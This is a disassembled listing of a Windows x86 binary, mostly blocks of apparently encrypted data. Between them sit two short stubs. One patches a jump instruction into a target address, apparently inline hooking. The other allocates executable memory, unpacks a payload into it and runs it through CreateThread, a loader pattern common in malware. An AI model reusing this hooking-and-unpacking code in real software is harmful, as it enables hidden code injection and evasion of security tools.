		dd 1474C085h, 0C2835AABh, 0EB040000h, 0CC683E0h, 0C085068Bh
		dd 0C033BB75h, 0A05EBh,	0FFFFFFB8h, 5B5F5EFFh, 4C2C95Dh
		dd 8B6EC000h, 478B087Dh, 85F8B04h, 0C33Bh, 778B4474h, 74F68538h
		dd 8BF3033Dh, 89D82BD3h, 0FC5D0000h, 3D88BADh, 0C085ADDAh
		dd 0C88B2A74h, 0E983h, 74C98508h, 8BAD66EDh, 0FFE781F8h
		dd 300000Fh, 66FB0000h,	660CE8C1h, 7503F883h, 0FC458B05h
		dd 2B10701h, 0E1754949h, 0C062CCEBh, 8B555F00h,	5DD2085Dh
		dd 111ED81h, 100014A9h,	0DB3C4E8Bh, 873000AAh, 0C3830856h
		dd 43B70F48h, 9C23A90Ch, 0A9107504h, 75D00001h,	400A96Fh
		dd 68750000h, 8B517EEBh, 54180033h, 0C9335308h,	0B70FEB8Bh
		dd 0E5Bh, 4D7DCF3Bh, 0FF3C068Bh, 0FC801275h, 80057425h
		dd 15FC0000h, 0C6830875h, 6C18306h, 0E83CE4EBh,	0E74h
		dd 2975E93Ch, 5701468Bh, 1875F838h, 8B5708EBh, 1460000h
		dd 0E75D838h, 8E8C166h,	8610C0C1h, 2BC4h, 14689C1h, 5C6835Fh
		dd 0EB05C183h, 0EB4146B3h, 5BAF0000h, 5118EB59h, 33B8B57h
		dd 4BB70FFAh, 830Eh, 516602ECh,	16E85752h, 5F000000h, 10C38359h
		dd 74490056h, 0FF5CE905h, 45DFFFFh, 8B60D400h, 8B660875h
		dd 558B104Dh, 1980020Ch, 66C20307h, 0F4EB0889h,	0CC2C961h
		dd 0E61E2Bh, 15FF8008h,	858D1000h, 0D21B1591h, 889D0C2h
		dd 6105A78Bh, 16044889h, 164922CCh, 0A90C1601h,	75252000h
		dd 0A4E940h, 8B510000h,	198003F2h, 84BD8B33h, 0C18B084Bh
		dd 14F9C1h, 3A5F302h, 3E183C8h,	0FC8BA4F3h, 3FA9B60h, 0F7047Bh
		dd 69EB591Bh, 87D8B5Dh,	34030004h, 51100016h, 772BF78Bh
		dd 0A8FE8B30h, 574AC600h, 5256C703h, 8D5C1001h,	8B51A68Dh
		dd 8D89084Bh, 0B60C008Dh, 56575105h, 8B5AD0FFh,	63C850A1h
		dd 66780E6Eh, 0B1EB5F5Eh, 3A384ED7h, 0DC8B238h,	150016B7h
		dd 0F259740Dh, 7402E083h, 514A0500h, 8604738Bh,	3084B8Bh
		dd 62F27400h, 3047B8Bh,	2C38BFAh, 0C033084Bh, 3B82AAF3h
		dd 26101D08h, 0E2851700h, 8B567FADh, 20C75h, 33085D8Bh
		dd 104639C0h, 6390475h,	30002C74h, 303741Ch, 4E8B0843h
		dd 84B030Ch, 7E8B0000h,	74FF8510h, 87B0303h, 53515750h
		dd 19E8h, 83000000h, 774FFF8h, 0EB14C683h, 5EC033C9h, 0C2C92250h
		dd 0A31500A6h, 38555340h, 9986AF19h, 27040C45h,	33A28389h
		dd 608389C0h, 0B88BA4E6h, 0FF0C75FFh, 89D20011h, 0C085FC45h
		dd 758B7F74h, 72800010h, 0D2851455h, 0D68B0275h, 275F685h
		dd 0E00CF28Bh, 17CA43h,	4331C710h, 49DE1038h, 4941B852h
		dd 8B0AE1A9h, 81121380h, 0BEBE2E2h, 8B085D8Bh, 3120180h
		dd 0C2830853h, 2D583E02h, 13111809h, 7521000h, 54000090h
		dd 1174C085h, 8906895Ah, 4C28302h, 0B6C683h, 339BEB04h
		dd 5A06EBC0h, 5D05063Fh, 63C2C95Bh, 6000EF00h, 2424748Bh
		dd 28247C8Bh, 2C245C8Bh, 851B8BFCh, 334E74DBh, 0A4DF03D2h
		dd 4573FB3Bh, 20E8h, 0E8F47300h, 27h, 21E891h, 48480000h
		dd 0E0C14141h, 5640AC08h, 0F02BF78Bh, 0EB5EA4F3h, 0D20366D7h
		dd 66920875h, 36692ADh,	33C342D2h, 0EAE840C0h, 13FFFFFFh
		dd 0FFE3E8C0h, 0F272FFFFh, 247C2BC3h, 247C8928h, 10C2611Ch
		dd 0B16900h, 97B00h, 16400h, 0B84700h, 0B0BC00h, 0B0C000h
		dd 0
; ---------------------------------------------------------------------------
		adc	[eax+0A872h], bh
		lea	ecx, [eax+10001082h]
		mov	[ecx+1], eax
		mov	edx, [esp+4]
		mov	edx, [edx+0Ch]
		mov	byte ptr [edx],	0E9h
		add	edx, 5
		sub	ecx, edx
		mov	[edx-4], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		mov	eax, 12345678h
		pop	large dword ptr	fs:0
		add	esp, 4
		push	ebp
		push	ebx
		push	ecx
		push	edi
		push	edx
		push	esi
		lea	ebx, [eax+10001043h]
		mov	edx, [ebx+18h]
		mov	ebp, eax
		push	40h
		push	1000h
		push	dword ptr [ebx+4]
		push	0
		mov	ecx, [ebx+10h]
		add	ecx, edx
		mov	eax, [ecx]
		call	eax
		mov	edi, eax
		push	eax
		mov	esi, [ebx]
		mov	edx, [ebx+18h]
		add	esi, edx
		mov	ecx, [ebx+0Ch]
		add	ecx, edx
		lea	eax, [ebp+1000111Dh]
		push	dword ptr [ebx+4]
		pop	dword ptr [eax]
		push	0
		push	eax
		push	edi
		push	esi
		call	ecx
		pop	eax
		add	eax, [ebx+8]
		mov	edi, eax
		mov	edx, [ebx+18h]
		mov	esi, eax
		mov	eax, [esi-4]
		add	eax, 4
		sub	esi, eax
		mov	[esi+8], edx
		mov	ecx, [ebx+10h]
		mov	[esi+24h], ecx
		mov	ecx, [ebx+14h]
		push	ecx
		mov	[esi+28h], ecx
		call	edi	; CreateThread
		mov	[ebp+10001121h], eax
		mov	esi, eax
		pop	ecx
		add	ecx, [ebx+18h]
		push	8000h
		push	0
		push	edi
		call	dword ptr [ecx]
		mov	eax, esi
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		pop	ebx
		pop	ebp
		jmp	eax
; ---------------------------------------------------------------------------
		align 10h
		dd 1Ch dup(0)
		dd 0D127DBAh, 36DD6DABh, 85085307h, 634DE3E5h, 53EEEC45h
		dd 729FAE8Ah, 4BB4EC50h, 0D23825A9h, 0E648459Ah, 0BA0E5A57h
		dd 8691953h, 2F446E4h, 0AF9C5929h, 29339CDEh, 8DFFEF2h
		dd 84D3406h, 9B30E162h,	918AA496h, 3BECA0Eh, 0E22BD0D3h
		dd 0D27C02A1h, 1E492B65h, 9FDB5030h, 25E87207h,	0E0FD9802h
		dd 3A4FAB05h, 6733FF80h, 6913D5FCh, 6A6EB65h, 9D8C8211h
		dd 456CED9Fh, 0EAB1A6CBh, 58802BE3h, 0B9D735A6h, 7CAD0D0Fh
		dd 0A4740AD3h, 0ABAC724Ah, 0E0B94CC6h, 0CB0AF28Ch, 43FFACB7h
		dd 91CA73E9h, 0F0B055DCh, 2925EB22h, 0E8E95A7Ch, 0A277B0E2h
		dd 8799B6D0h, 69868446h, 0EB4B52D8h, 0AFB1B695h, 41C6F9F5h
		dd 4F0042F9h, 0D40F1317h, 0D2C4C587h, 5CAD6641h, 0F4DB530Bh
		dd 2CF67386h, 60D65287h, 0FBDF6589h, 0A656FC7Dh, 0F2F320C6h
		dd 0C4DEED7Ch, 88A3FDD8h, 0DA3AB937h, 0F379FE37h, 0EBC84C2Fh
		dd 261401A7h, 9D78E8EFh, 645F3C2Dh, 8D273BEFh, 297A9785h
		dd 9313D909h, 2B4815F0h, 2E2BCA1Bh, 0F7BD52BAh,	9AD898A7h
		dd 0F84E8A12h, 7421A7CCh, 0C1646074h, 1FFE4599h, 0C9911386h
		dd 0DEC9E286h, 3436F67Bh, 0F56DBB01h, 4880B01Ch, 0FFF7A776h
		dd 0DF61B827h, 8F93577Eh, 6E0A37D4h, 858FF1A3h,	8EC97EBh
		dd 4DA7734Bh, 1FDC1082h, 7D534A18h, 5FB0BF32h, 0D11A1FEDh
		dd 0A43F05Eh, 0DBA24645h, 8424CA5Bh, 0F7D7D7E0h, 41C08316h
		dd 70E0CA01h, 0A5CF6E55h, 4D4B1FB6h, 117721D6h,	0AC543E8Bh
		dd 72E6418Bh, 41ADA399h, 9E7EAD68h, 4055B7DAh, 7E424338h
		dd 337EB714h, 62675F75h, 0BFE899D7h, 0E02D8A7Bh, 93C19E33h
		dd 9662F076h, 0EC68CA8h, 15BC4E86h, 10D02A35h, 0CADB6395h
		dd 8C1E5432h, 4D9806C5h, 180ED32Fh, 10DB76B2h, 0D9F85640h
		dd 0A17F208Ch, 6430A794h, 69ECDA10h, 80A5C27Ch,	0D2B3BBC3h
		dd 872CD6A0h, 2BFF2BB2h, 89CC584Dh, 5E10DB39h, 0F6110BF5h
		dd 8CA23BA2h, 6D2DE170h, 36996F8Ch, 662E7BE8h, 1898C941h
		dd 9580D883h, 187DEDEDh, 0D1B4F3B6h, 0BA3439DBh, 0D27C0E86h
		dd 311E6913h, 8F39063Eh, 4B19CB8Fh, 13D2D114h, 8E7288F3h
		dd 310FBB97h, 0F7E8344Fh, 61573AE8h, 37F38EB3h,	6C485F87h
		dd 0CF1F145Ah, 65E358Ch, 0D9767803h, 732F3D6Fh,	133CCA19h
		dd 0FCE3AF6Dh, 0D0051AB8h, 8DB5FBE0h, 0CC03157Ah, 8F10BECBh
		dd 5814B153h, 181438C8h, 3F56CA49h, 752E4E81h, 0A85E6FACh
		dd 4444E0Ch, 0A44522C9h, 39F3A887h, 176A167Ch, 743D4A44h
		dd 0F233FBDBh, 7D28E984h, 0BF4D652Dh, 0D051FA1Dh, 44E59287h
		dd 0A8DE40E4h, 0FBF39EA2h, 439034DAh, 1CB15745h, 0B4ADE749h
		dd 842FBB3Fh, 0A36F2CC2h, 49CB7FC0h, 0C47E06D9h, 6532AD41h
		dd 0EFEF89B3h, 0DDE16D11h, 0C888027Ch, 0DA981121h, 65BE1780h
		dd 9FE56CFAh, 26108C98h, 0F3B89BE6h, 7D5D1A5Ch,	45679D13h
		dd 3B614735h, 0FC6EFE70h, 67C4FDB0h, 8A30D918h,	0E52430D9h
		dd 0B34E9F8Ch, 0BC67E022h, 58A2757h, 1A785B7Fh,	4EED7D37h
		dd 0DDDD07E3h, 0C570EFCEh, 76F7E500h, 0C6059113h, 3271F9F2h
		dd 0D5F97E69h, 5A6AAC7Fh, 0EEAB270h, 0E0EF0F69h, 0CAF8D589h
		dd 0A67139CAh, 7E8703C6h, 50F142CFh, 0C1DBC3FCh, 0D3921D95h
		dd 0B1E982AEh, 68D7DB6Bh, 32B3041h, 0A6B7363Fh,	91F9695Fh
		dd 68C591BFh, 0FB0515CCh, 52FC5166h, 23634294h,	81A7C2E4h
		dd 85CE55E9h, 494EE4F8h, 2A71EE20h, 32C56134h, 72D76C0Ch
		dd 567B8845h, 3936A7BDh, 372EAB43h, 5691754Fh, 4D09CE29h
		dd 0E4D2B610h, 0FC686254h, 1B825A87h, 7C3A5F41h, 1EA9C047h
		dd 4957AD15h, 9B209943h, 383F62A1h, 253E8360h, 0C80C8E4Bh
		dd 0A8425A65h, 0DFB5F6A6h, 47217851h, 0F58AA2B8h, 42EC1421h
		dd 477035A2h, 2D29AB3Fh, 19D05863h, 2C1B3B29h, 2ABA604Eh
		dd 47FDECCCh, 0B2C92589h, 0AB401726h, 82135FB3h, 0EDEED38Eh
		dd 46651957h, 0D6728D26h, 45948154h, 9D3778AFh,	2D0DD2E5h
		dd 6ECA749Eh, 6E6B4D39h, 0A552DC1h, 7F2A13CEh, 0FCD70DF1h
		dd 0F0C7F02Ah, 0C2B23411h, 4A4DA5CEh, 72EFB419h, 8B0136C7h
		dd 8BF7938Fh, 1F34FBFh,	42F46DFEh, 51F352DAh, 508CCBC5h
		dd 6297F527h, 7C7125DFh, 0BC5D095Dh, 0CA1DC581h, 0A79C3723h
		dd 20E83BF1h, 25599F63h, 0E2EA4B1Fh, 1B8B56B2h,	2BD15F71h
		dd 0BF6250B2h, 3B6FA9C3h, 0C9D69987h, 39FC7192h, 73C2CB72h
		dd 2B231359h, 135E9E87h, 0D0FD8ADBh, 0D9F3F012h, 0C5677168h
		dd 792A80C5h, 0A63A40Ah, 6F73AC4Ah, 0F6077255h,	0BBCC1615h
		dd 0A8F967F7h, 7CF689A3h, 3D400D83h, 90DB2007h,	0A7C96D6h
		dd 8D0BBB9Fh, 1F64E78Fh, 9DE05A1Dh, 0B835BFF8h,	98B60FE7h
		dd 1D45145h, 0FFB74E60h, 5A4FB48Eh, 7A37D46Ah, 78E23D48h
		dd 7EB55226h, 289D9C28h, 0B6E8DEBCh, 575CDE36h,	781F6BE2h
		dd 91C1FB1Ah, 228A73D9h, 8C6704E7h, 67959077h, 906F94D4h
		dd 456A7035h, 64FE97B6h, 50B8E2FBh, 0FC53E468h,	9971C29Ch
		dd 41170F2Fh, 701B9CADh, 0D6A7AF0Bh, 81860F0h, 0B800B899h
		dd 2580DAh, 8753B767h, 1711228Eh, 0CFAE9683h, 93C49495h
		dd 0E65509B4h, 0A5EF1F46h, 0F3AAC4A3h, 6A6D572h, 0DE2B23A6h
		dd 9F1E8EF3h, 40EA26F6h, 7AAEB6Bh, 0ED93D883h, 45F6BF7Ah
		dd 332D78C3h, 927784Fh,	0F452060Eh, 0E0D5435h, 0D0E30156h
		dd 7E4F2B70h, 2F61582Bh, 53E79867h, 56B22A13h, 0F10DA541h
		dd 0DC7F0CCDh, 0D54DAB03h, 76FFE905h, 107A6027h, 0B528A170h
		dd 65FCB0EFh, 66B7AE8h,	0F78A8215h, 8A8C0B17h, 348D0577h
		dd 163E0E43h, 99CB1680h, 787C39A1h, 47B920EFh, 0D83BA5EEh
		dd 9E79BA36h, 3BAAB0CCh, 26D173ADh, 0E31C244Ah,	0A30B1943h
		dd 526E25D9h, 2D0ACF69h, 2F5969C1h, 0CF6924CAh,	0BBB6862Fh
		dd 4AE03D9h, 0D71421BFh, 0CD6995BDh, 7233F302h,	9FA80B6Dh
		dd 27400C7Ah, 0C238FE1Bh, 0E5964019h, 94E19EBh,	4E72DB59h
		dd 97C76145h, 89862D14h, 8616AC7Fh, 0FF8F24FAh,	9B2F5F7Fh
		dd 0EFA134B7h, 4308A098h, 8A6DF3A7h, 8BB01279h,	0B915E6A6h
		dd 4DBB3718h, 0DF714F14h, 0F8767540h, 451C74AAh, 4D073E2h
		dd 117B8E51h, 42C4272Ch, 76AEAAD7h, 0F3903F47h,	0CE0ACC4Ch
		dd 0FB1C98CAh, 8BB1B9E5h, 1ED9D053h, 0D6FDBBA0h, 22402F6Bh
		dd 0A7F1B108h, 0E7274425h, 95E3256Ah, 0D6840161h, 65434256h
		dd 428E843Fh, 80ADD3C9h, 57B4AFD3h, 2E521BFEh, 1DE24FD6h
		dd 84D9C6A4h, 0C390107Dh, 38064818h, 2193EB7Fh,	236BBC69h
		dd 8A6E5727h, 6714CEACh, 0E417F5E2h, 6E4402B5h,	7D5DA028h
		dd 0D024E910h, 936C13FFh, 0D6A3D46Fh, 7CCC6FEEh, 0E4AE19C9h
		dd 39E6A29Ch, 5CD7EEECh, 75F05E3Ah, 0E6C183C0h,	81673D32h
		dd 0C8856B42h, 4650408Dh, 0DE7AA38Ch, 0EC6A2026h, 0AA89E59Ah
		dd 0C511AFDFh, 405A89DFh, 3CE85DEBh, 2CEA1749h,	64138040h
		dd 0D0123827h, 0A527E7BFh, 8AA38EF9h, 112E6F47h, 587777F3h
		dd 0EDC0CEDEh, 12CA0BBh, 0ABE098ADh, 94931780h,	30B8708Dh
		dd 3F22458h, 53CB2D8Ch,	0D8ADF63Bh, 0DDFF5ACBh,	18F44407h
		dd 35206586h, 3DB86B34h, 0E50E18B0h, 0ABAE857Ch, 9E743F03h
		dd 3167C58Eh, 0ADF21F80h, 606BA779h, 38B83317h,	1F4803F3h
		dd 79AE0C81h, 3BBAD2F8h, 9A765113h, 570CD940h, 0ABCF78B8h
		dd 44DF24Bh, 0E6670C57h, 0A38721E3h, 7BCD6019h,	0B46C998Ch
		dd 96D4B3AEh, 0F800E438h
		dd 2F11CF0Fh, 48B5BEB6h, 9CFC972h, 337012CFh, 0BBBCE811h
		dd 0E310BB46h, 4D346BABh, 2DE27FEFh, 0F5F3F65Eh, 7AA57533h
		dd 0D81D2646h, 8CD630DDh, 0D475D8E2h, 1BA9F80Eh, 0E4F736D1h
		dd 0DAA02997h, 70BB1E7h, 0F3941872h, 0DB4C0671h, 8DA7F2Ch
		dd 0B1FB8D91h, 92983566h, 1FCB2C7Eh, 0B9BCE576h, 751AE91Ch
		dd 193DE820h, 0B81B4C14h, 97DFADF7h, 85EB2691h,	1DDCF785h
		dd 27FC8FCDh, 1B8F9A5h,	83D914FBh, 894B2BCCh, 826A478h
		dd 67D3E25Ch, 3C00DF7Bh, 8808C2EFh, 0A04CD344h,	0D91F532Dh
		dd 0FD35B65Fh, 0E4BCDB3Eh, 6C290E77h, 0E34BDC2Dh, 0F7E68516h
		dd 0EDF2B45Eh, 67380DD3h, 0C76FFE60h, 80A1403Dh, 460C077Fh
		dd 24093758h, 1DBD6C43h, 6B5FC8BCh, 425502C4h, 97202AD3h
		dd 345A770Dh, 75E5A1F2h, 95F605E2h, 922370AFh, 0EBB33E48h
		dd 0A0C0B54Ah, 3D7649EAh, 0A6A69E9Dh, 7B9C32AAh, 0D87CBBAh
		dd 17A61737h, 0EFE7C0A7h, 0D57BDB01h, 0C3A5160Bh, 0F2ED0DE7h
		dd 9052FFC9h, 0E9CF2891h, 15E16041h, 25E4EEC1h,	9123B887h
		dd 96D1A8C1h, 0E84BB1DCh, 0B05D6446h, 0E55CF7B0h, 8E9EE659h
		dd 0CB58BA7Bh, 14A5C229h, 78ADD9D7h, 9C4EA071h,	4B0D6556h
		dd 0E74DB74Ch, 9C1877D5h, 55B85DF5h, 0ED20948Fh, 4539FE35h
		dd 0A8B83FBCh, 8252B625h, 0BCDC3864h, 0DBAE4014h, 0AB7EC0C3h
		dd 0C86F99ABh, 0B816B50Dh, 759D8B44h, 943BFE5Ch, 8EC20A49h
		dd 0F6C7CB78h, 8AA13428h, 768B41A9h, 1ABBA2ACh,	0F438B7BFh
		dd 5514561Eh, 0F8967435h, 81C4C2F0h, 15BB4670h,	81A7C28Bh
		dd 85F35FCEh, 82A92A2h,	0D93BF8BBh, 94FE219Ah, 5192A95Bh
		dd 0C6C956E0h, 279238F2h, 0BCD70E2Fh, 48B72F9Ah, 0CEBAB399h
		dd 0E24D4E3Fh, 12163C26h, 4320E8A4h, 0B9BFDD34h, 3DE24FFh
		dd 62BABC5h, 154BA5B2h,	0C2122A7Bh, 0FDA3C7E1h,	77FF3A66h
		dd 15D0573h, 816F7B9Ch,	0E1238AA6h, 7F599DF4h, 696AFE99h
		dd 0BFAC03EAh, 37ECCBC3h, 0DD942626h, 2C89977Eh, 0EEB40AB6h
		dd 0CF3CA348h, 0B8807AFFh, 0A75F03F4h, 3FDAF7C5h, 0D1987551h
		dd 41C7F51Ch, 20547FE5h, 7827509Eh, 36AFDA29h, 13022BC1h
		dd 24FB6D4Ch, 9493924Eh, 508EF817h, 0BC9A5264h,	2A065A83h
		dd 0C1FE5CE0h, 22BBB819h, 0F5F6C4Dh, 45BFDF3h, 6E3B7A69h
		dd 461937FEh, 4254C4DBh, 63E81371h, 0D0888003h,	738E04F8h
		dd 3B2D9C52h, 0A25F499Eh, 159852BBh, 72EE4E86h,	772F58A3h
		dd 0B51F5601h, 0B01C6C94h, 0A8374C3Eh, 664DA11Ch, 8085BC7Eh
		dd 59479DA3h, 7BF94650h, 0A3A44278h, 3C9683F0h,	1B077D39h
		dd 0F1C4B952h, 63AEE27Bh, 5B3D5DE9h, 35C15B43h,	0A26E7E10h
		dd 7BC68BF6h, 0F9E6D801h, 6068928Bh, 8E79415Dh,	9ED37D44h
		dd 10EE7D42h, 0F858A4FCh, 0E0AED7FAh, 0BD2E5836h, 473E2CDh
		dd 0F1748A4h, 8BCC63B6h, 0F69E309Bh, 0C9A8A93h,	0FD1F6008h
		dd 9C8BCEC4h, 3F03A3C0h, 7A13E88Eh, 7D008A32h, 14045AF4h
		dd 34A70666h, 0C9C39AE2h, 307BC2E3h, 0AEBDF7D5h, 0F16A2DB3h
		dd 51A91BF4h, 0EF3C934h, 0B806F124h, 7CAAA932h,	7654A8D8h
		dd 28B0678Eh, 76E931ABh, 67017451h, 0A3DC5B29h,	397F82Ah
		dd 0E269F8D0h, 0D3F03466h, 2605A748h, 59F7B39Dh, 0F6AFBCA3h
		dd 0A585B9F2h, 7936996Ah, 229D9F2Ch, 3AD2462Ch,	1CCF9CAFh
		dd 8F3AF7EAh, 5BC213E9h, 4137368Bh, 0AF336B7Ah,	0E36FDB3Dh
		dd 489D756Eh, 0D3A3E74Ch, 9F02E10Eh, 68526D3Eh,	3A02EE70h
		dd 3A726AFh, 0F83D89D4h, 2D6ECDA8h, 2CAC1E02h, 142EB66Fh
		dd 274065F7h, 0AAB5AEF3h, 9B7C55A4h, 6100C2CFh,	0EFDCEBB3h
		dd 0C4D4B3h, 9EA303C3h,	0C0C5BABh, 0D490634Ch, 5102323h
		dd 0D17063EAh, 529B8807h, 6DCD5161h, 8CC0840Bh,	5368130Fh
		dd 37F344B7h, 416748EBh, 0AF041F9Ch, 0E27FFFD8h, 3B561A25h
		dd 9F656453h, 85D7DDACh, 0F567145Dh, 49DC5E9Fh,	9F924725h
		dd 0A40A6A7Ah, 636EC4FEh, 8E6BB6E7h, 7A17084Dh,	56999089h
		dd 0B8D15786h, 92DBFC1Bh, 0F81F5843h, 158D2CD8h, 8D18527Fh
		dd 4EE4A546h, 5167E4F5h, 39B7569Eh, 0A1C37EEAh,	0FC1A52EDh
		dd 89A3B07Dh, 22E2Bh, 0BCDDF614h, 981DAB1Bh, 4F1BCDDCh
		dd 43495DA5h, 6AA8E461h, 33CA4E80h, 0B3A8860Dh,	56A96A98h
		dd 41C463E0h, 0A29B650Bh, 67DCCB29h, 8A5FD4F9h,	52A052B4h
		dd 0E29013F6h, 0A8AD56A2h, 0EAFA63Dh, 0A9DA090h, 0E21C139Fh
		dd 0D67DA005h, 3F341994h, 0D15EF9D6h, 6B121C64h, 138D0E40h
		dd 7DC27C1Ch, 8E13DC51h, 3F27BC15h, 42C44C0Eh, 0FF958AEBh
		dd 0AB7758Bh, 1692D054h, 0FD456949h, 8D46FABEh,	3F75E3C6h
		dd 958BB7C3h, 78F75C68h, 4638576Ah, 0BBB49A33h,	1218B649h
		dd 5E000B4Fh, 0B50F5EB3h, 4D81FDAEh, 0E2F58830h, 0B7B70BD9h
		dd 7F8ED897h, 0F2CCACEDh, 0F4AC16A0h, 63399084h, 3185135Ah
		dd 0F43D100Bh, 89A87D83h, 0E4A3A042h, 756DAB3Ah, 0EF98BBC4h
		dd 2088B1B3h, 0D919F3FCh, 8C69B84Ch, 3E7A4AB0h,	0E727BB87h
		dd 0DD185FA8h, 90E36308h, 2B771BD3h, 923F91AEh,	4C7122B6h
		dd 2C541739h, 0A11A1D0Fh, 4B516E56h, 20E39335h,	89F9088Fh
		dd 0FEB0BA8h, 0E72511F5h, 36866B9Bh, 94C68A99h,	90C59D7Ch
		dd 0F4A24F58h, 0F3CD4766h, 0FE26D5C6h, 0D5C3389Dh, 87024B72h
		dd 0E688F6B0h, 2877AEB6h, 0C38DE40Eh, 0AFF8342Bh, 5D316F8Dh
		dd 0C98711DDh, 0D9D9CF62h, 0B4AB0754h, 0DDE59580h, 0AF44D2C1h
		dd 133266ABh, 599B5455h, 5BAD2480h, 3D8EDAA2h, 94649FBh
		dd 0BE542E8h, 0C148DBCBh, 7CA14E92h, 33A94A8Fh,	0EF89160Ch
		dd 5233A9D2h, 0D32613F0h, 6C1D0003h, 6AC94CFCh,	0B678C325h
		dd 99868F6Dh, 9E5A9B3Ah, 54EB38Fh, 94C97972h, 6DC030E8h
		dd 13023FB8h, 0BD4908h,	5A280619h, 0D453FA9Bh, 0C5198E94h
		dd 0C98868BCh, 91E9FDA0h, 4EBDA669h, 0D0978EBDh, 4D11C395h
		dd 5777D5CEh, 6560F555h, 4FAA0D52h, 77A4E169h, 0A2BCFCCFh
		dd 3ED435ECh, 1B67336Dh, 0F090AEEDh, 5D7EC2EBh,	0C1ADABADh
		dd 7BA45F02h, 3F96EC72h, 0B8830B88h, 0FA6B0208h, 0C70B5F90h
		dd 0B5C1A14Eh, 602D0358h, 4CDEC9CDh, 86696756h,	0A881B488h
		dd 816FFE49h, 0AB4B2119h, 0FF42AF6h, 0E4B47417h, 7796F18Ch
		dd 0D08A0617h, 8933C592h, 0BE221A7h, 18C18018h,	7C533AB5h
		dd 94B422E1h, 37765D0Bh, 558E9033h, 70CA0316h, 966C08B0h
		dd 197B34Eh, 0D0155262h, 2A27935Fh, 1422AD09h, 2EF7F64Ch
		dd 6A22283Bh, 30EEB256h, 97E3A96Dh, 3C1DE4A9h, 87A6E4BAh
		dd 5E23DCEAh, 53B0D179h, 0B3CBC162h, 0ACAE29B4h, 295A5DBDh
		dd 7DD03DBCh, 0D1B8B514h, 43B4C4ADh, 8BE539F6h,	7D392A67h
		dd 0D71FDB9h, 3F6D2064h, 0F370B3F4h, 0AB52B91Dh, 2AA52131h
		dd 0A418773Bh, 162D8F0Ch, 4AEE99FAh, 460EF15Fh,	0B3F815EBh
		dd 0BD9AF40Eh, 0C7989D98h, 0CB7EC81h, 0D2DD781Ah, 333E9926h
		dd 0E02571F9h, 42A3E951h, 9DA07E45h, 0BAE62A9Fh, 1A7742DEh
		dd 95C2ED6Eh, 732C06C3h, 5ED91B66h, 7FD3F685h, 1D6FF819h
		dd 919EB606h, 0D0F0F5BEh, 0C65B1ED0h, 1E898CB1h, 79B6A1AEh
		dd 197E792h, 2DA1FCECh,	84693807h, 5DBCA71Dh, 5DDEC12Dh
		dd 8C4C1787h, 0A7DEA3D8h, 0B8CE62F5h, 89C83332h, 1E07A254h
		dd 18F2643Ah, 0BF69DC6Ah, 3E31FC71h, 115BEE35h,	5EEF9441h
		dd 0B7FE2039h, 65E7C2E5h, 7E797D29h, 94F4A77Ch,	85BD99F5h
		dd 0D4F95BBDh, 0CC9296ECh
		dd 1F7867EAh, 0F6211B5Ch, 69E2FCh, 2C35AC7Ah, 6A646932h
		dd 2254D78h, 9036E479h,	65EB47A1h, 0A1AC8FC3h, 0AD217D36h
		dd 0E47CA4EFh, 91554D42h, 0E181D7F5h, 8A12A279h, 7593B537h
		dd 0E411AE98h, 310C1D6Fh, 5F14F65Ah, 0C0DCE4ECh, 8406E3DCh
		dd 0A4AE22C8h, 56878830h, 864541B7h, 0BB27F00Ah, 5D3BCDA1h
		dd 7BC145Ch, 0E59C620Ah, 50BA874h, 46412DB5h, 88D0EB08h
		dd 6CD94873h, 945AF951h, 0A84B3D61h, 0C0666DAEh, 30044F50h
		dd 0B26B72D3h, 0B4981346h, 6A5779C1h, 0F051BD7Bh, 0E9B31888h
		dd 3906E57Bh, 8ED880Eh,	23C3A3D6h, 80E3DE45h, 687B54A0h
		dd 1B7FEF28h, 0B366A58Eh, 0B10DE5B7h, 79C2562Dh, 0F43A41D6h
		dd 1AF1CA27h, 1BDFD1FBh, 773306D6h, 120A4098h, 0EC250FBFh
		dd 151C5572h, 8F2194FDh, 477A1927h, 0EF575815h,	0A371DF1Ah
		dd 1378D8DFh, 331817FEh, 0E0510033h, 0AFE53E25h, 7960D8D9h
		dd 9CCBAC7Fh, 0E3927E97h, 0F4D9DE19h, 73C03710h, 0F4F401DEh
		dd 7B95553Bh, 7A8A92D0h, 859531EBh, 0DEE57721h,	0F9AB3C03h
		dd 43026A37h, 0AEC8265h, 0D6B5C621h, 0ECA84E54h, 1F4F1137h
		dd 0F133EA7Ch, 9B53436Eh, 24BF1195h, 22D33800h,	54C6AB84h
		dd 0EBB91B6Dh, 58B6D706h, 5C0835C5h, 640B39BAh,	3F9AFE14h
		dd 1C6074FEh, 0DD561FB8h, 0B38F7307h, 540F5B1h,	9F56538Bh
		dd 0C2BF297h, 0C3B5EADh, 86D32B9h, 0D740B51h, 3E2613A6h
		dd 389A8AC7h, 5379E0E9h, 86C953A1h, 76C6529Bh, 0EF4375B1h
		dd 0B224E851h, 99573E75h, 26B4A265h, 6A02D3B9h,	3BD4D0B7h
		dd 809A1CBAh, 73F19931h, 95D0573Ah, 3BC4B1B9h, 0A483EBD8h
		dd 50F3EEF4h, 7A6661DAh, 0DCA4B0C1h, 1B8F8B01h,	7F1C2A3Ah
		dd 281F4873h, 0E5D443E2h, 0E0746C23h, 0AB146533h, 578643FEh
		dd 9CA5456Fh, 0F0F3DD95h, 41F989ADh, 43623F84h,	51AF1F93h
		dd 4713442h, 418F5F1Ch,	37C5AFAFh, 0F7FADA0Dh, 0AB4F3B8Bh
		dd 0E0CE427Eh, 7F04A8A2h, 69E72002h, 0DE7D2BCAh, 0AB9BC291h
		dd 9912E191h, 12921DFFh, 0D4FB3E19h, 2CC9D976h,	8719DA7Bh
		dd 0E81EF242h, 84A9B3AAh, 0AD5F9BE9h, 394087A5h, 65A1BBE5h
		dd 0A3F9901Bh, 29067C96h, 628C53E6h, 58695EF2h,	853F41F9h
		dd 264D1B8Eh, 772F36ECh, 0A7E78A30h, 22F5D096h,	71255063h
		dd 77A42BADh, 0CD1A0978h, 0D1A59D77h, 9D9A52BEh, 8D4DF0CAh
		dd 0C34B9B26h, 0BE572422h, 395F626Ah, 0C2965BE9h, 6270AD78h
		dd 0AF23160h, 7F908D1Bh, 3F2A9AB8h, 0F34C2CFBh,	0C9F2052Eh
		dd 5F1A1EFAh, 0F3233A2Eh, 377A9002h, 0B697D5A1h, 0FC4EDD82h
		dd 7FBF8732h, 1941E423h, 0B20F7C5Fh, 74636210h,	58572C3Dh
		dd 0AA71C62h, 12A92AA9h, 0F3F17B62h, 4A13970Ah,	0F8C0A626h
